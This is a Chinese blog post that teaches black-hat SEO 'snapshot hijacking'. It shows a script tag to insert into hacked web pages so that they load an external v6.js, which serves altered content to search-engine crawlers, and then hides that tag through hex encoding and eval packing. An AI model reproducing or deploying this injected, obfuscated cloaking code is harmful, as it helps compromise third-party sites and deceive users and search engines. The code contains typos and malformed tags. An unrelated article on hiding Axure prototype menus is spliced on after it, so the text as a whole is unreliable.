一些黑帽SEO要對跳轉的js代碼進行加密，學習JavaScript加密方式，當我們網站被黑時，看到這段代碼就明白這就是快照劫持的代碼，刪掉即可解決網站被黑問題。今天，錯誤博客（cuowu.com）分享的內容為《黑帽SEO教程為html中的js跳轉url加密》。希望對大家有所幫助。

一、未加密的js代碼

JavaScript跳轉是黑帽SEO中快照劫持常見操作手法，比如在寄生蟲程序使用中，在被黑掉的html或php中增加如下代碼就可以完成快照劫持：

<script type=”text/javascript” src=”http://cuowu.com/ v6.js”></script>

這段JavaScript代碼的作用是引入v6.js文件，v6.js文件中的內容為if判斷語句，如果訪問的是百度蜘蛛、360蜘蛛、搜狗蜘蛛等，則顯示劫持的快照內容，如果是用戶直接訪問瀏覽器則會顯示原頁面內容。

二、16進制加密

首先把上面的命令增加為如下：

window[“document”][“write”](‘scritp type=”text/javascript” scr=”https://cuowu.com/ v6.js”‘)</script>;

然后，對前面雙引號內的內容進行16進制加密，后面單引號內容也同樣進行16進制加密，依次為：

\x64\x6f\x63\x75\x6d\x65\x6e\x74

\x77\x72\x69\x74\x65

\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73

這個可以用utf-8轉16進制加密在線工具即可。錯誤博客站長導航里面有。

站長導航（https://cuowu.com/daohang/）

加密完成后變為：

window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;

三、JS混淆加密壓縮

然后，把上述的js代碼再次補充一下才能正常運行，即：

<script type=”text/javascript”>

window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;

</script>

把中間window到</script>;的內容利用站長工具的JS混淆加密壓縮就可以得到eval加密形式，錯誤博客站長導航里面有。

站長導航（https://cuowu.com/daohang/）

獲得如下加密代碼如下：

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))

最終獲得的加密代碼如下：

<script type=”text/javascript”>

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))

</script>

這就是全部的js加密壓縮過程了，解壓過程反過來推就可以了。

以上就是錯誤博客（https://cuowu.com/）分享的內容為《黑帽SEO為html中的js加密（js混淆與16進制加密）》。感謝您的閱讀。更多原創搜索“錯誤博客”。

什么要隱藏Axure原型式需求文檔菜單列表？

很多時候產品經理輸出完原型圖生成HTML文件給到相應的開發、測試等小伙伴提前閱讀熟悉產品功能需求，然后再組織講解產品功能需求，但總有很多小伙伴們不認真聽需求講解，事后對需求理解存在偏差，根據自我對需求的理解進行設計開發，導致研發出來的產品與需求有差異，最后還甩鍋給產品經理沒有寫清楚需求、沒有講明白需求、看不懂需求文檔。

根據與開發、測試多年打交道的經驗總結，大部分的開發、測試都不太喜歡復雜的需求文檔，反而喜歡看原型圖以及圖中需求說明。

在產品迭代的過程中，為了保證產品需求文檔從0-1的完整性，方便新加入的產品經理、開發、測試快速熟悉產品、接手產品，所有的版本迭代記錄最好歸檔在一個Axure文件中。

那么問題來了：在版本迭代的時候即便我們做了需求導航，開發、測試小伙伴可以通過點擊導航直接跳轉至詳細的原型圖需求說明頁面（上一篇文章有介紹），但是開發、測試小伙伴往往會忽視需求導航，直接從HTML文件的菜單列表直接點開查看（如圖1），由于菜單列表太多他們根本看不懂、找不到迭代需求在哪里，這個時候我們就需要利用一些方法隱藏HTML文件左側的菜單列表，強制開發、測試等小伙伴通過版本迭代需求導航跳轉至原型圖需求說明頁面，這樣閱讀起來就非常方便快捷。

下面我將通過具體的操作步驟來講解如何隱藏HTML文件的菜單列表。

第一，Axure生成HTML文件時，選擇頁面只勾選需求目錄大綱，點擊生成。

第二，找到剛才生成的HTML文件并打開，找到data文件并打開，剪切這個js文件存放到桌面。

第三，再次用Axure生成HTML文件，選擇生成所有頁面并點擊生成到此前生成的HTML文件中。

第四，再次找到剛才生成的HTML文件并打開，找到data文件并打開，將此前剪切到桌面的js文件替換當前的js文件。

第五，最后打開Axure原型式產品需求文檔，就會看到效果如下圖不會再顯示左側菜單列表了。